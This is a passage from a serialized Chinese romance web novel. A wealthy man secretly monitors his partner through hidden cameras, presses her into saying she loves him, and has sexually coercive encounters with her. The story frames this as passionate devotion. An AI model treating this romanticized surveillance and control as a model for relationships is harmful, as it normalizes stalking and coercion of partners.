他已经不再喊舒颜喊师娘了。 说完,Zero退出了房间。 电脑被重新打开,屏幕上出现的,是一个女人纤细的身影。 她考完了试,岑尽白以为她会对自己提出什么要求,想去工作或者是想去什么地方,但是都没有,她很乖,只是脑子里有想要离开他的念头。 这有些麻烦,因为他现在还不能完全将她放在自己的视野当中,还要再等一等…… 等一等,再等等,颜颜…… 蓝色的眼眸中蔓延出痴迷,丝丝缕缕缠上屏幕里的身影。 他忽略心中的不安,以为自己是一秒都控制不住想见她。 实在是没办法,他太想她了,所以想每时每刻都看见她。 他的手抚上电脑屏幕,隔着屏幕摸上了她的脸。 快了,很快了,很快我们就能永远在一起了。 …… 舒颜呆在出租屋,实在是没事干,干脆和张奶奶学起了织毛线,一开始织得一团糟,后来慢慢变好,织出来的图案也越来越栩栩如生。 张奶奶夸她:“年轻人现在像你这样有耐心的不多咯。” 其实舒颜只是太无聊,心里又烦又空虚,发现织毛线能静下心来,于是继续。 一个人呆在这个屋子里,总觉得哪里不对劲,内心生出恐惧。 就好像有什么一直在盯着自己。 实在不舒心,她找了对面的张奶奶来自己屋。 张奶奶忽然说:“舒颜你现在学那么好,不如给你家小岑织一件围巾,我看他虽然穿得富贵,但是你经你亲手做得一定开心,有钱人最重的应该就是心意。” 张奶奶是最近才知道岑尽白叫什么的,老人家喊小辈,总喜欢在前面加个小。 这样喊岑尽白,有些委屈他了,不知道他听了会是什么感受。 舒颜嘴角的笑意消失了,说:“他什么都不缺。” 张奶奶哎了一声,说她不懂:“谈恋爱谈得不就是心意吗?你看你这房子被小岑弄得多像样,他看起来像个少爷,却愿意陪你住这样的地方……” 话至于此,张奶奶停了下来,意识到这样说就是在提醒舒颜他们之间的差别。 舒颜笑笑,并不在意。 张奶奶哪知道他们之间的事情,不过是表面上看,她才是这段关系中受益的那一个。 但是事实上,岑尽白…… 她摇了摇头,让自己不要去想他。 加快了手上的动作。 过了不久,张奶奶凑过来看她织得怎么样,这一看,惊讶道:“舒颜,你咋织了条蓝色的蛇?” 她这才看清自己手中的针线活,原来,在她没意识到的情况下,手上的线已然盘踞成一条蓝色的小蛇,就只差眼睛没织了。 舒颜停下了动作,不再织了,玩笑着跟身旁的张奶奶说:“你看我,说不给某人织,某人就会报复我。” 张奶奶听得半知半解:“这是,给小岑织的吗?” 舒颜没点头也没摇头,将手中的织好的花纹扔在一边,重新拿了一个毛线球。 “不是给他的,刚刚走神了,胡乱织的。” 第58章 装可怜、扮乖,有时露出獠牙 岑尽白最近一次来,是和Zero一起来的。 不知道从什么时候开始,舒颜好多天没见Zero,没想到他这次来是和她道别的。 舒颜对Zero很有好感,觉得他挺纯真的,就是个大男孩形象。 “呜呜呜,舒颜姐,我会想你的……”Zero作势要去抱舒颜,但是被一只手拽住了后领。 怎么忘了还有老师这个变态在? 是的,Zero现在觉得老师就是个变态,他仍旧尊重敬仰他,但是就他对舒颜做的事情来看,他很不赞同,并且同情舒颜。 Zero抬头看了眼身后严防死守的岑尽白,内心翻了一个白眼,看不出来只是一个离别拥抱吗? 结果Zero内心还没吐槽完,舒颜看了眼拽着Zero衣领的岑尽白,然后伸手,浅浅抱了下Zero再退开。 舒颜温柔说:“什么时候走啊?”” Zero没回答,愣了愣,转而看岑尽白。 后者脸色没什么变化,还松开了他的衣领。 Zero:“五天后走。” Zero本来还有些忐忑,但是转念想想,自己五天后就走了,最后几天不听老师的话怎么了?回美国他再也威胁不到他了。 想通了之后心情都顺畅了,在场不高兴的应该只有岑尽白。 舒颜让两人都进了屋。 Zero在进屋之前还看了眼岑尽白,岑尽白已经在换鞋了,根本没看他。 舒颜隐隐猜出来Zero在顾虑什么,对Zero说:“进来啊,你要在门口站着和我们聊天吗?” Zero犹豫几秒,还是进来了。 三人在一起,是岑尽白做得饭。 当看到岑尽白穿着灰色围裙出来的那一刻,Zero眼睛瞪得极大,像看到鬼一样。 因为经常在这里给舒颜做饭,上次的那个绿色碎花小围裙又被岑尽白扯断,他自己又买了一个,很合身。 舒颜想得是,Zero要是看到岑尽白穿上一件围裙,估计眼珠子要掉到地心。 “老师,你什么时候学会做饭的?”Zero问。 岑尽白似有深意地看了Zero一眼,明显不想回答他,转头熟练地走进了厨房。 舒颜替他作了回答:“他应该很早就会了,刀工很棒。”这是她的观察所得,当然,做得也很好吃。 岑尽白在厨房做饭,舒颜就和Zero在客厅闲聊。 Zero自从进了房间就在左右环视,像是在寻找些什么。 他在找摄像头。 舒颜姐一定不知道,她现在的一举一动都在被监视着,而且还不知道这个房间已经有了摄像头。 但是Zero并没有找到。 舒颜看Zero的眼睛转来转去,疑惑问:“怎么了?” Zero哪敢说这里安了摄像头,只能掩饰般地笑笑:“没事,对了,前几天你和老师,没闹什么矛盾吧?” 矛盾吗?她想逃跑被发现了,岑尽白差点要将她囚禁起来,这算不算矛盾。 不过他们之间,根本吵不起来,岑尽白就是一个笑面虎,大尾巴狼。 装可怜、扮乖,有时露出獠牙,这些都是岑尽白惯用的伎俩。 舒颜:“没闹矛盾,都挺好。” Zero点点头,其实心中是不相信的。 以老师对舒颜姐的控制欲,必然会做出一些事情。 Zero不仅在岑尽白面前有些战战兢兢,在方芝面前,已经成了面团了,就差没蒸熟喂到她的嘴巴里了。 想到这里,Zero叹口气。 方芝知道他要走,根本没有丝毫不舍。 Zero的脸上划过失落,干脆不想了。 他现在最同情舒颜的处境,但他无能为力。 他没想到老师喜欢一个人,这样没有……底线? Zero突然靠近,吓了舒颜一跳,他小声说:“舒颜姐,老师对你的占有欲挺强,如果你有什么别的想法,千万别让他知道。” 舒颜僵住不动。 他说这句话,是岑尽白让他来警告她的吗 “我能有什么想法,我不是好好跟他在一起的吗?”舒颜这样说。 Zero看着舒颜,也分不清她这句话的真假,不再说了。 “Zero,过来帮忙。”不知什么时候,岑尽白站在厨房门口,喊Zero进去帮忙。 他拿着铲子,价值不菲的西装上是一件廉价的围裙,但是Zero还是被岑尽白的眼神吓到了,连忙起身。 要是公司的人看到岑尽白这样的打扮,估计也会吓掉下巴。 舒颜觉得Zero是客人,于是说:“我来吧。” “不用。”岑尽白替Zero拒绝。 岑尽白在一些方面是绝对的领导者,说出的话极具分量,是以,Zero和舒颜都不敢反驳。 Zero刚到厨房,岑尽白开始切菜,就劈头盖脸的一句:“别靠她那么近,尊师敬长的礼仪学到狗肚子里了吗?” Zero这才反应过来,岑尽白看见了他靠近舒颜姐说话的场景。 老师的心眼原来那么小。 他默默吐槽。 不知道老师有没有听见他和舒颜姐说的话。 怕被岑尽白察觉,Zero也没问。 饭桌上Zero可劲的夸岑尽白,“老师你做饭真有天赋,不知道我以后还有没有机会再吃一次!” 岑尽白给舒颜夹了一块排骨,盯着她吃下去,语气冷漠地回:“没有。” 很是冷血。 舒颜倒是说:“那下次你老师再做饭,我喊你。不过你只呆五天了。”后面五天不知道岑尽白会不会经常做饭。 岑尽白对于这句话倒是没反驳。 Zero笑笑:“还是舒颜姐人美心善。” Zero续了两碗饭,吃得可香。 老师的厨艺比舒颜姐的要好。 饱饭后,岑尽白就要赶Zero走。 “告别也告别了,饭也吃了,你该走了。”岑尽白将碗筷收拾好,看着还在沙发上的Zero说。 他在这里,很碍眼。 要不是Zero缠着非要跟舒颜告别,岑尽白根本不会带他来。 他现在厌恶一切出现在舒颜身边的雄性生物。 Zero对着舒颜的笑容顿了顿,接收到岑尽白警告眼神,立马起身。 “是的,舒颜姐,我这次来是专门给你告别的,以后可能就不常见到了。还有幸吃到了老师做得饭,现在确实该走了。”Zero咬牙道。 岑尽白揽住了舒颜的肩膀,屋内已经全部铺上地暖,舒颜只穿了一件薄薄的针织衫,他的手心贴上了她的薄背,抚摸中带着若有若无的暗示意味。 青天白日,对面还站着他的学生。 Zero走到门口,又被岑尽白叫住:“Zero,顾野藤明天回国,你去机场接一下。” 舒颜本来想斥责他行为轻浮的话又被迫停下,背上的手还在作乱。 Zero表面笑着,心中对岑尽白的差使很是不满,但又不能发作。 “好的,老师。” 铁门关上,舒颜被压倒沙发上。 刚刚她和Zero相谈甚欢的地方。 “我真不应该让他来,浪费时间。” 舒颜看着他急不可耐的动作,不知道这句话是对她说还是对他自己说。 “岑尽白,我想在上面,好不好?”舒颜左肩的针织衫被扯下,乱糟糟的,说话的语气也是楚楚可怜。 岑尽白停下,瞳孔的浅蓝变成深蓝,像有什么在翻涌。 舒颜很少主动,她忽然这样说会让他诧异,快要喷血的胸肌一直在起伏。 他看着她:“好。” 这还是白天,刚刚吃过饭,要是他来指不定她会吐出来,还不如占据一次主动权。 他的身体她还挺满意的,以后就没有了。 但是她想错了。 男人会嫌弃她太慢、太浅,以至于所剩不多的耐心被她磨完。 “不是说……让我来吗?” “你想到晚上才结束吗?” “……” 岑尽白不止要月要用力,手还要扶着她,怕她掉下去。 但是舒颜还没来得及沉浸进去,窗外的白光从眼前闪过,有些慌乱地抓住他的肩膀,趴在他胸口。 “窗户,窗户没关。” 岑尽白拍了拍她的**,对她这反应很满意:“我关了窗帘的,放心,我不会让别人看你的。” “你这个样子,只能我看。” “乖,我来吧。” …… 就算是他来,也是太阳落山了才结束。 因为这个姿势,舒颜腿合不上,腰只要动一下就疼得要死。 恨恨给了身旁人一拳。 岑尽白挨了打后还笑,脸上表情浪荡极了。 他搂住她的腰,让舒颜又倒在床上,欣赏了她脖子上吻痕,又找了块好地方咬上去。 舒颜嘶了一声。 岑尽白趴在那里,“颜颜,你不对劲。” “你这段时间好乖,是因为想骗我吗?” 舒颜还没来得及反驳,手腕被捉住,按上她的大动脉。 她根本动不了。 “心跳快了,是因为我说中了吗?” 舒颜嘴硬:“不是。” 但是刚刚他这样说,她的心跳确实快了 岑尽白在她脖子上又咬了一口,转了位置,男上女下,俯视她,眼神温柔:“没关系,骗我也没关系。” “所以颜颜,能说一声喜欢我吗?我想听。” 舒颜像看疯子一样看着他,他的手还按在连通心跳的地方,无论她说什么话,他都能窥探到她的内心。 表面上看,他对她是温柔得体,实际上,不过是他攥在手心里的宠物。 舒颜是这样想的。 他太精明了。 舒颜看着他祈求的眼睛,沉默数秒,攀上他的肩膀,张开嘴,一字一句如他所愿:“我喜欢你。” 可是她没有如愿在那双眼睛里看见满足,他只是盯着她,继而吻上她,舌头搅动一汪春水。 他喘着气跟她说:“以后每天都说,好不好?” 神经病。 * 她就不该招惹一个神经病,自从那次之后,一连三天,根本不是一天一次。 说这四个字也就是动动嘴皮子的事情,但是总是在半夜被晃醒说和早上还在补觉时说,是不一样的。 她有些崩溃,不知道岑尽白为什么执着于这四个字。 他明明知道是假的,都是骗他的。 这天岑尽白又在早上要走时叫醒了舒颜。 “颜颜,颜颜?” 舒颜掀开眼皮,就看见岑尽白人模狗样地在自己床边,眼神充满希冀,像等着投喂的狼狗。 “我喜欢你。”舒颜敷衍地说。 然后闭上眼重新入睡。 昨天也是折腾到好晚,不知道他哪来那么多精力。 闭眼之前,她好像看到他如释重负的笑容,但是太困了,不知道是不是她看错了。 她的额头好像被什么吻了。 …… 岑尽白赶到岑氏时,顾野藤已经坐在他办公室了。 刚打开门,顾野藤抬手,看向腕表:“你迟到了。” “抱歉。”岑尽白进来,松了松领带,露出脖子上的红痕,明显是被咬的。 顾野藤看见了,调侃了几句,发现岑尽白还挺乐在其中,嗤笑几声不再说了。 “没想到你谈起恋爱那么骚。” 岑尽白反击:“没想到你喜欢的人已经结婚了,新郎却不是你。” 两个人都是往对方身上捅刀子,谁也不放过谁。 终于说起正事。 “你让我来岑氏,是想让我挨白眼的吗?”顾野藤问。 岑尽白打开了两台电脑,一台是办公,另一台,实时记录着舒颜的一举一动。 “谁给你白眼了?难道不都是恭恭敬敬的吗?” 顾野藤回国,第一件事是来快要撑不下去的岑氏,明天要成头条了。 “资金什么时候能正常运转?”岑尽白不跟他废话。 顾野藤不急不忙道:“等等,美国那边松口后,也就一个星期的事。” 岑尽白点点头,“快点。” 顾野藤笑了:“几天都等不了?我保证岑氏能安安稳稳到你手里,跑不了。” 岑尽白沉默,看向电脑屏幕。 屏幕中的女人正在沙发上织什么东西,至于是什么他不探究,他只是想让她在自己眼皮子底下。 岑氏跑不了,可她不一定。 他总觉得她不会安分。 哪怕含着他的东西,说着喜欢他。 顾野藤偶然瞥见岑尽白的电脑屏幕,说他是个变态。 岑尽白没反驳。 顾野藤:“你先给我介绍一下你们岑氏目前什么状况。” 岑尽白却将目光沉沉落在屏幕中的舒颜身上。 …… 舒颜的感觉没有错,真的有一双眼睛在暗中看着自己,粘腻赤。裸,无论她躲到哪里都没用。 忽然想到什么,舒颜只觉得汗毛倒竖,不可思议。 但是这个世界上什么人都有,她不得不用最坏的心思去揣测别人。 傍晚,舒颜收纳了织好的围巾,起身将窗帘全部拉上,室内几乎和黑夜没什么区别。 她将手机摄像头调出来,时不时甩动一下胳膊,动作看去来像放松。 没过一会儿,房间内的灯亮了。 舒颜低头,在手机里下载了一个软件——检测摄像头卫士。 第59章 看起来跟疯子一样,不太正常 “那就这样决定了,合作愉快。” 顾野藤与岑尽白就在办公室当中决定了他们的跨国合作。 合作并未握手,但是他们都自信这次合作是双赢。 “没什么事的话,你就先走吧。”岑尽白开始赶人了。 顾野藤不屑:“不想多呆,不用送了。” 办公室门又关上,剩下岑尽白一个人。 落地窗外,夜幕落下。 今天要迟点回去了。 旁边的电脑因为待机时间太长,已经息屏了,岑尽白重新给电脑插上电源,开机。 他屈指敲着办公桌,现在办公室没人,脸上暴露出不耐烦。 终于,电脑开机了,一只手立刻按上鼠标,操纵着寻找影像。 却在点进去,没有了她的身影,屏幕显示摄像头故障。 看不见她了。 她发现了? 一丝恐慌在心中蔓延。 岑尽白拿起放在椅子上的外套,边走边穿。 路上遇见公司员工,看他面色不虞,有谄媚的人上前问:“岑总,出了什么事吗?” 岑尽白瞟了他一眼,径直略过。 员工挠了挠头。 现在不是他拍马屁的时候。 …… “消防车来了吗?来了吗?” “来了来了,幸好火势没有蔓延,只着了一层。” “哎,年久失修,不知道拆迁什么时候轮到我们这里。” “听说是一个老人烧水忘关火了,这俩老人出去遛弯了,那层是不是还住着一个小姑娘?” “好像是的,不知道逃出来没有?” …… 一辆黑色的车急停在老旧的巷子口,车上走下来一个男人,年轻帅气,气场强大,冷着一张脸,大步流星地走进了巷子。 今天的巷子很热闹,打工的人会早早休息,今晚却因为一场火,站在路边你说一句我说一句。 岑尽白在听到“着火”两个字后,那一丝的慌乱变得迷茫,以至于他随便捉了一个路人。 大声问:“哪里着火了?” 路人被吓了一条,看着年轻男人不同于中国人的蓝色眼睛,愣愣开口:“X栋楼……” 几乎没有间隙地又问:“几楼?” “三楼……” 刚说完,年轻男人立马走了,比刚刚更快,是用跑的。 巷子里爱好八卦的人都知道,X栋楼里住着一个漂亮的小姑娘,她有一个长得像是外国人的男朋友,而且还巨有钱。 但是好像没从火里逃出来。 人们惋惜她的年轻。 岑尽白真想隔绝这些声音,那些声音刺破了他的耳膜,穿进他的大脑,让他没有办法思考。 风撩起他的衣摆,皮鞋踩过浑浊水洼,水滴飞溅裤脚,这是一个他讨厌的地方。 脏乱差不足以概括。 但他却一次次踏足这里,忍受这里。 越来越近了,那栋旧楼围满了人,身穿橘色消防服的人拉起来警告线,驱赶人群到安全地带,劝他们不要靠近。 他们正在控制火势。 张奶奶和她的老伴站在警戒线以外,老泪纵横,火光闪过,张奶奶视线被一个高大的身影笼罩。 还没来得及看清是谁,就听见男人沉声问:“舒颜呢?” 张奶奶抬头看向男人。 他的头发被风吹乱了,面容冷峻,唇紧绷着,看上去还算平静。 但老人还是被他的气场吓到了,支支吾吾:“舒颜……舒颜……我,我没看见她啊……” 她又转过头问身旁的老伴:“老头子,你看见那丫头出来了吗?” “她不会……没出来吧?……” 张奶奶的老伴看向岑尽白,眼神浑浊又慌乱,显然也被这场景吓坏了:“她应该没事吧……消防员说没什么人受伤……” 是吗? 岑尽白的脸色仍旧没有变好,转身靠近警戒线。 火势已经变小了,但是三楼仍旧还有火苗窜出来,浓烟铺满这一块所有空*气。 那股心慌,逐渐放大、放大,再放大。 “小岑,不能去啊!” …… “快!楼上的人全都下来了!快!” “不行,火灾那层楼还有一家门是锁着的,不确定是否有人。” “那家住着一个小姑娘!” “……” 慌乱间,一个高大的身影越过了警戒线,直冲楼梯口。 一名消防员注意到,急忙喊:“谁进来了!群众不许靠近!出去!快出去!” 但是那人不听,直冲进去,火势已经平息下来,但是为了安全着想,还是不能让人进到这里来。 况且,他没有带防烟口罩,也没有穿防火服。 消防队长看到有人冲进来,厉声喊:“快拦住他!你们干什么吃的!” 霎时间,一排消防员堵在了楼梯口,但他们都被一双充满戾气的蓝色眼睛吓了一跳。 “让开!”岑尽白看着面前的一排人说。 “同志,我们正在灭火,你不能进去,就算里面有重要的东西,你不要命了吗?!” “三楼还有一个房间,你们没进去。” 说完,岑尽白就没有耐心再跟他们说了。 他双眼通红地挥开一群人,将一个消防员推倒在地上,甩开几只手的,一猛劲地要冲进去。 “别去!”消防员大喊。 但是那个身影没有丝毫地停顿,誓要冲进危险的火场,无论多大的声音,都叫不回来他。 消防员只好通过自己的呼讲机,和三楼正在灭火的同事说:“有一个男人冲了进去,看起来跟疯子一样,不太正常,你们一定要拦住他。” …… 楼道里全是烟,岑尽白咳嗽几声,捂着口鼻冲到了三楼。 只是没想到,三楼还有人拦着他。 “回去!里面没有人,如果有什么贵重物品,也不要拿了!”这人比楼下那几个消防员还要硬气。 他们都带着防烟口罩和防火服,只有这个疯子一样的男人,被浓烟呛到了也不用手捂住口鼻。 岑尽白已经冲到这里,但是还是被拦下。 “让我进去,我有钥匙。”岑尽白冷静地说。 但是所有人都知道他不冷静,真正冷静的人是不会冲到火场。 消防员皱着眉头看他,说:“你下去,钥匙给我们,不能再上前一步。” 岑尽白抬头看这个消防员。 消防员愣住,因为从他的通红的眼中,看到了某种绝望在燃烧。 最终岑尽白还是被勒令离开火场,几乎是被几个消防员硬逼着出去的。将他赶出去后,还派两个消防员紧盯着他。 张奶奶走过来,“小岑,舒颜在不在上面?” 岑尽白眼睛盯着三楼,听见了,没回答,摇了摇头。 张奶奶身边的老伴说:“不会是被烟呛到,在里面昏迷了吧。” 听到这句话,岑尽白扭头,用极其冰冷的眼神看着他,身侧都说双手紧握成拳。 张奶奶被吓到,立马瞪了自家老伴一眼:“不会说话就少说两句!” 岑尽白不再浪费眼神在任何人身上,只盯着三楼冒烟的方向,他的身上已经脏了,不是泥点子就是蹭到的灰,要是像以前,他不能忍受一秒。 “楼上还有人!来几个人!”忽然,那栋楼里传来喊声。 岑尽白脑中的某根弦断了,没有任何犹豫,还想冲进警戒线,但是被两个消防员拦住。 “冷静,我们会尽全力救!” “如果你进去了,我们告你阻碍消防施救!” 这些话,对岑尽白来说,根本没有任何威慑力。 “岑尽白——” 这一声,让岑尽白失去了往前冲的力气。 张奶奶惊到:“舒颜,你去哪里了?” 岑尽白转身,吓到了舒颜。 对舒颜来说,她从没见过这样的岑尽白,头发散乱,衣摆和裤脚全是泥巴,眼神又冷又凶,处于崩溃的边缘,甚至可以称得上狼狈。 “你怎么——”话还没来得及说完,舒颜就被人大力搂进了怀里。 属于他身上清洁的气息涌入鼻息,混杂着燃烧物的烟味,将她紧紧包裹住。 “啪”得一声,是塑料盒子落地的声音,从舒颜的手中坠落。 “你去哪了?”声音平稳,却能听出颤抖。 舒颜还有些愣,因为眼前的景象太过戏剧性。 “我,我去买小吃了。” 她只是去买了一个吃食,回来之后发现她的出租屋被烧了。 上面还有很多消防员在进行火场处理。 她回来的路上就听见了这个消息,以为是假的,结果亲眼目睹是真的,还看见岑尽白这副样子。 “你以为我还在楼上吗?”舒颜轻声问。 旁边的张奶奶还在看着,她有些不好意思,想挣脱他的怀抱,但是他一点都不带撒手的,还更用力了。 张奶奶适时拉着老伴到了别处。 他的喘息声,不,是他使劲嗅闻她的声音,萦绕在她的耳畔,带着滚烫的热气。 “嗯,我以为你在楼上,幸好你不在。”他说话时嗓子发硬,又哑又低。 岑尽白还是没有放开她,手放在她的后腰,往自己怀里揽,闻着她身上熟悉的香味,渐渐平息心中的戾气。 如果刚刚的消防员还要拦着他,如果他从美国带回来了枪,他真的要开枪杀了所有拦着他的人。 舒颜听着他没有安全感的话,心中的某一块地方很酸疼。 犹豫间她抬起手,这是一个想要回抱住他的动作。 不过她还是放下了手。 这些,岑尽白都看不见。 第60章 还有更变态的 “我想吃巷子口的淀粉肠和炒面了,但是那个阿姨换地方了,我找了好久才找到。”舒颜跟岑尽白解释说。 “嗯。”岑尽白应了一声,还是保持着抱着她的姿势,也不知道有没有听进去。 舒颜这才注意到不远处还有两个消防员,她刚刚看见,他们好像是在拦着岑尽白,不让他冲进警戒线? 但是这两个消防员和张奶奶两人一样有眼力见,见别人抱在一起,摸了摸鼻子,做自己该做的事情去了。 舒颜拍了拍岑尽白的背,看起来像是安抚,僵笑着:“好了好了,我没事,快松开我吧。” “嗯。” 那颗脑袋又在她颈窝拱了拱,还是没放开她。 不知过了多久,救护车来了,舒颜才被放开,但又被握住了手。 舒颜弯腰捡起地上的炒面,刚刚岑尽白突然抱她,吓得她松了手。 晕倒的是四楼的一个女人,确实是被烟熏到了。 救护车走后,消防员也算完成了任务,但要嘱咐住在三楼的人几句。 消防员批评了张奶奶一家,因为她烧水忘记关造成了火灾,但是好在发现及时,只烧了一层,三楼以上和下面的人撤离的早,只有一个人因为吸了太多烟昏倒,没出现其他伤亡。 但是三楼肯定不能住人了,里面的东西大多都被烧没了。 张奶奶还在扼腕长叹,消防员说:“您老算幸运的了,只是住得地方没了,万一出了人命,那就真是摊上大事了。” 张奶奶忙道是是是。 紧接着走到岑尽白和舒颜面前,扫了一眼男人旁边的女人,脸色不是很好看,带着愠怒:“你知不知道你已经严重妨碍到我们救火了,不要命地冲进去,火星子溅你身上你拍都拍不掉,变成鬼去见你女朋友?!” 舒颜身形一顿,岑尽白立马看向她。 她在他的目光中,神情不能有太大的变化。 岑尽白冲进火场了? 虽然消防员是在骂岑尽白,但是舒颜总觉得自己也在内,那消防员还在瞟她,面色也不善。 舒颜:“对不起,对不起,妨碍到你们工作了,需要我们配合什么尽管说。” 岑尽白像是没听到消防员的训斥,眼神紧禁盯着她,手上与她十指相扣,跟没魂了一样,只能舒颜来道歉。 人家消防员那么辛苦,道歉是应该的。 国家有这些人,人民才有安全保障。 消防员见舒颜认错态度良好,火气消了大半,但是罪魁祸首岑尽白迟迟不道歉,消防员觉得他是死性不改,还是个危险分子。 舒颜讪笑,将岑尽白的头从她这里转过去,给人家消防员按头道歉。 岑尽白听话照做:“对不起,给你们添麻烦了。”顺便说了一句人话。 消防员这才走,临走又回来,看了眼岑尽白,在舒颜耳边小声说:“有时间带你男朋友去医院看看。” 挂个精神科,看看是不是有病。 这句话没说完,但是舒颜莫名领会到,若有所思。 岑尽白听力很好,他听得见。 “我没病。” 舒颜看了他一眼,没说话。 他有病。 舒颜在心里说。 * 出租屋是住不了了,岑尽白将舒颜带到了一间靠海的别墅,她莫名觉得这个地方很熟悉,岑尽白提醒她,之前带她来过一次。 舒颜想起来了,上次在秋月苓的生日宴会上,方之清出现,岑尽白将她带离宴会,来到了这里。 在这里疯狂做,爱。 想到这里,她双腿开始打颤。 她揉了揉岑尽白的手心。 带着含蓄的讨好。 “我们可以住酒店吗?”她觉得这个海边的独栋别墅没有安全感。 “不可以。”岑尽白没有丝毫犹豫地说,目视前方。 舒颜垂下头,不再说话了。 他在停车,这一路上,岑尽白一只手控制着方向盘,一只手牵住她的手,好像她会跑一样。 这导致舒颜的心一直在提着,虽然她已经知道岑尽白之前是赛车手,还拿过奖,之前的车祸也是他故意设计的,但是她还是害怕。 这样太危险了。 偶然间瞥向他,会发现他的神态跟平常没什么变化,只是不再对着她假笑了。 明明之前觉得他温柔的假笑很讽刺,但是现在他不笑了,她反倒觉得有些不习惯。 车子开的很快,岑尽白开车和停车,一套动作行云流水,可见他对车的熟练。 她是被他抱下去的,手先勾着她的腿弯,然后托起她臀。部。 这个姿势有些羞。耻,幸好别墅的停车场没什么人。 这个别墅也没什么人,所以岑尽白让她尽情叫,他想听她的声音,求着她叫出来,甚至把手伸。进她的嘴里,恶劣地不让她闭嘴。 他比上次更加暴力,虽然难受,但是那种按倒水里三分钟,只让呼吸三秒的感觉。 灯没关,因为要看着她,一直看着她。 后面不行,要面对面。 …… 持续了多久,舒颜忘记了,只记得她骂了他,骂得可难听了,祖宗十八代都有。 但是他说:“你凎不了我祖宗十八代,我倒是可以……”最后一个字,是第二人称。 那个动词,从他口中说出来,都能带上几分雅致,几分蛊惑,几分狂野。 话糙理不糙,但岑尽白现在太糙了。 他说得话,根本不像是他会说的。 但他说出来了,舒颜反倒是不惊讶了。 也算是进一步了解这个善于伪装的男人了。 舒颜还被被逼着叫了很多根本不会叫的称呼,说了很多她平时不会说的话,像是什么哥哥啊,宝贝啊,老公啊,甚至还要让她叫他某个长辈的称呼,被她打了一巴掌后,笑了下又亲上来。 “我说一句你说一句,好吗颜颜?” 舒颜只是抽搐,根本回答不了他的话。 岑尽白啧了一声,托住她的背,慢条斯理道:“我永远都不会离开你。” 舒颜太害怕了,就算是没有力气,也要跟着说。 “我……我永远……永远都,不会……离开你……” “说谎的人,不得好死,坠阿鼻地狱,灵魂不能离开你半步。” 舒颜瞪大眼睛,失神中好像真的看见了鬼神的脸就在上方看着她。 “说谎的人……不得,不得好死!坠……阿鼻,地狱……灵魂不能,离开你……半步……” 岑尽白瞳孔骤缩,全身发。抖,痴迷地看着身下人,分不清是汗还是泪,从额角滑落在雪白上,妖冶绽放。 “颜颜,是我不得好死,我下阿鼻地狱,你可千万别……” 大概是舒颜此生最难忘的一个夜晚,要死的感觉持续了一。夜,直到天亮了,他彻底瑟不出来,这才放过了她。 岑尽白真的疯了,她都快走了,应该就陪他疯这一次吧。 但是没想到,更变。态的还在后面。 …… 醒来时,如眼还是昏暗的,舒颜还怀疑自己根本没有睡觉,一直在那样刺。激的过程当中。 身体的反应骗不了人。 不在里面了。 都结束了。 但是她的身上是未着寸缕的。 这个变。态。没有给她衣穿上,这也根本不是昨天晚上做.ai的地方,他究竟把她带到了哪里。 她当然不会怀疑他将她卖了,只是现在身上实在难受,像是被压了很久,久到身上动一下就要散架了。 门被推开,昏暗的室内开了灯,她看见岑尽白衣冠楚楚,面带笑意地走进来,好看到让人联想到绅士的西方贵族。 “要喝水吗?”他的手里拿着一杯水。 舒颜搂着被子警惕地看着他,想说“不要”,但是发出来的声音,像是某种坏掉的乐器。 岑尽白轻笑,坐在床边将水递给她。 舒颜接过,咕噜咕噜喝了几口,因为喝得太急,有几滴从嘴角顺着流到了脖子以下。 岑尽白的眼神暗了暗,伸手温柔揩过,说:“慢点喝,还有。流了那么多水是该多补补。” 舒颜最后一口水直接吐到他脸上了。 气氛静止了几秒。 她以为他会黑脸,结果没有,只是抽了几张纸,擦掉了脸上的水。 然后将水杯从她手里接过去,平静地问她:“还要再喝吗?” 舒颜摇了摇头。 “那还要再睡觉吗?” 舒颜摇了摇头,哑着声音问:“现在几点了?” 因为喝水,她裹在身上的被子已经落下了,皑皑白雪中盛开着点点红梅,大美风光无知无觉。 作为受益者,岑尽白自然不会去提醒她。 “下午四点。” 他将目光移到她的脸上,她的脸是绯红的,带着昨日剩下的美丽。 如果可以,他真想为她做一幅画。 事实上,他也确实这样做了。 在她睡着的时候。 舒颜无心去探究岑尽白在想什么,她只知道,她现在被妖精吸干了精气,快要死了。 没想到她睡了那么久。但还是很累。 “我饿了。”舒颜看着他说。 将近一天一。夜没有喝水进食,是个人都应该饿了。 岑尽白显然早就想到了这一点,捏了捏她的脸,温柔又带着宠溺地说:“想在这里吃还是出去吃?” “在这里吃就不用穿衣服了,要是出去吃要先穿上衣服。” 舒颜闭上眼睛。 真是他之蜜糖,我之砒霜。 “出去吃。” 她只是纵欲过度,不是断胳膊断腿。 衣服穿得艰难,岑尽白想要上手去帮她,被她拒绝。 床上看光和生活中被看光,不能混为一谈。 她也不知道她到底在坚持什么。 但是路实在是走不了,就算是能走,也走得极其让她羞耻。 舒颜忍得红了脸,看了眼在旁边站着的岑尽白,瓮声瓮气又有些别扭道:“抱我过去!” 话落地,她人就在半空了。 那人一只手就能将她抱起来,昨天晚上已经见识过了,今天也是不稀奇了。 她稳稳当当地坐着,出了门意识到这里究竟是在哪里。 不是破旧打扮比出租屋,也不是穷奢极欲的大别墅。 “这是公司。” “哦。” 她甚至都没问,岑尽白为什么将她带到公司。 只是为了让她在这里睡一觉吗? 她怎么会这么天真呢? 巨大的落地窗,简约的办公室装修风格,很符合他的气质。 她搂着他的脖子,指腹感应到的地方,是一个结痂的伤口,昨天晚上她咬上去的。 忍不住动手搓了搓。 岑尽白笑着将她放在座椅上,像是没有感受到她的小动作。 桌上的几个菜,都是按照她的口味买的。 她忽略了辣菜旁边黯然失色的白粥。 整个办公室都溢满了酸辣的香味,舒颜的口水吞咽了好多回。 但是岑尽白说:“先喝粥,再吃菜,好久不进食,一开始就吃刺激的,会伤胃。” 舒颜瞄了眼他,觉得他说得没错,像模像样地喝了几口粥。 岑尽白再劝她是劝不住的。 那碗粥落在了岑尽白的手里,等他喝完,舒颜也差不多吃完了。 相处那么久,舒颜还是不知道岑尽白究竟喜欢吃什么,她口味偏爱酸爽重辣,他几乎什么都能接受,就像刚刚,一碗白粥都能吃的津津有味。 但是她不会去问他,因为没必要。 岑尽白放下筷子,问她:“吃好了吗?” 舒颜点点头。 他又想抱她回那个隔间,舒颜拒绝了。 “我在这里就好,会打扰到你吗?”她不想回到那个又小又充满着他的气息的房间了。 像是被他养的情。妇,虽然现在也很像。 岑尽白看了她一会儿,“好。” 在自己眼前不是更好吗? 中间有人进来,收拾了刚刚他们吃饭的桌子,打开了室内的换气装置,看了舒颜一眼又一眼。 偷偷摸摸。 